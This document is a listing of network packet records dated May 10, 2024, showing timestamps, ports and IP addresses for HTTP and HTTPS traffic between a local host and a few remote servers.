May 10, 2024 09:20:58.126792908 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.126807928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.126846075 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.126976967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.126988888 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.127001047 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.127012968 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.127018929 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.127026081 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.127038002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.127041101 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.127053022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.127075911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.127080917 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.127087116 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.127089977 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.127101898 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.127113104 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.127124071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.127131939 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.127135038 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.127147913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.127161026 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.127161026 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.127176046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.127188921 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.127199888 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.127211094 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.127222061 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.127227068 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.127234936 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.127253056 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.127262115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.127265930 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.127276897 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.127289057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.127315044 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.127321959 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.128896952 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.128910065 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.128920078 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.128931046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.128942013 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.128952980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.128964901 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.128964901 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.128978968 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.128988028 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.128992081 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129004002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129008055 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.129017115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129029036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129040003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129040956 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.129051924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129062891 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.129064083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129076958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129087925 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.129089117 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129101992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129111052 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.129128933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129134893 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.129142046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129154921 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129165888 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129179955 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129184961 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.129193068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129203081 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.129208088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129220963 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129225969 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.129256010 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.129282951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129295111 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129307032 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129317999 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129327059 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.129328966 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129340887 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129342079 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.129354954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129365921 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129374981 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.129378080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129390001 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129395962 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.129401922 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129414082 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129424095 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129435062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129437923 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.129447937 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129453897 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.129462957 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129467010 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.129475117 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129498959 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.129498959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129513025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129524946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129532099 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.129537106 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129549980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129554033 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.129561901 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129574060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.129576921 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.129617929 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.129986048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.130151987 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.130163908 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.130187988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.130191088 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.130201101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.130214930 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.130219936 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.130229950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.130239964 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.130240917 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.130254030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.130265951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.130276918 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.130280972 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.130289078 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.130301952 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.130307913 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.130315065 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.130326986 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.130326986 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.130338907 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.130342007 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.130352020 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.130363941 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.130373001 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.130376101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.130388975 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.130394936 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.130400896 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.130414009 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.130424976 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.130433083 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.130436897 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.130449057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.130455971 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.130461931 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.130469084 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.130496979 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.131536007 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.131548882 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.131560087 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.131571054 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.131582022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.131588936 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.131597042 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.131606102 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.131609917 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.131623030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.131628036 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.131637096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.131649971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.131659031 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.131684065 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.132499933 CEST	443	49783	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.133460045 CEST	443	49782	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.138607025 CEST	49782	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:58.138626099 CEST	443	49782	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.138848066 CEST	49783	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:58.138871908 CEST	443	49783	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.139151096 CEST	443	49782	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.139992952 CEST	443	49783	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.140063047 CEST	49783	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:58.140271902 CEST	49782	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:58.140403032 CEST	443	49782	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.140705109 CEST	49782	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:58.141366005 CEST	49783	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:58.141428947 CEST	443	49783	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.141633987 CEST	49783	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:58.141642094 CEST	443	49783	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.145220041 CEST	443	49779	172.66.43.171	192.168.2.4
May 10, 2024 09:20:58.145282984 CEST	443	49779	172.66.43.171	192.168.2.4
May 10, 2024 09:20:58.145333052 CEST	49779	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:58.148067951 CEST	49779	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:58.148086071 CEST	443	49779	172.66.43.171	192.168.2.4
May 10, 2024 09:20:58.160128117 CEST	443	49781	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.183692932 CEST	49783	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:58.188117027 CEST	443	49782	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.214638948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.214657068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.214668989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.214683056 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.214735031 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.214983940 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.214997053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.215008974 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.215020895 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.215033054 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.215033054 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.215055943 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.215056896 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.215070963 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.215082884 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.215090990 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.215101004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.215116024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.215117931 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.215161085 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.215425014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.215629101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.215640068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.215651035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.215662956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.215675116 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.215675116 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.215688944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.215699911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.215702057 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.215713024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.215715885 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.215727091 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.215733051 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.215739012 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.215749979 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.215758085 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.215761900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.215775013 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.215780020 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.215787888 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.215799093 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.215811014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.215811014 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.215823889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.215830088 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.215837955 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.215850115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.215861082 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.215867043 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.215874910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.215888023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.215898991 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.215903044 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.215915918 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.215915918 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.215931892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.215934992 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.215962887 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.216455936 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216468096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216479063 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216490984 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216500998 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216516972 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.216517925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216531038 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216532946 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.216542959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216553926 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.216572046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216577053 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.216584921 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216597080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216613054 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216615915 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.216625929 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216636896 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216649055 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216659069 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.216660023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216676950 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.216686010 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216692924 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.216698885 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216711044 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216722965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216732979 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216736078 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.216746092 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216758013 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216764927 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.216770887 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216783047 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216792107 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.216794968 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216806889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216813087 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.216820002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216830015 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.216834068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216846943 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216852903 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.216860056 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216871977 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216878891 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.216882944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216895103 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216905117 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216912985 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.216916084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216928005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216933966 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.216941118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216950893 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.216954947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216968060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216974974 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.216979980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216991901 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.216999054 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.217005014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.217016935 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.217027903 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.217031956 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.217041016 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.217052937 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.217053890 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.217065096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.217068911 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.217077971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.217088938 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.217088938 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.217101097 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.217113018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.217123985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.217133999 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.217133999 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.217148066 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.217155933 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.217159986 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.217170000 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.217173100 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.217185974 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.217192888 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.217196941 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.217209101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.217217922 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.217220068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.217232943 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.217245102 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.217256069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.217258930 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.217268944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.217274904 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.217282057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.217288971 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.217294931 CEST	80	49754	34.68.151.162	192.168.2.4
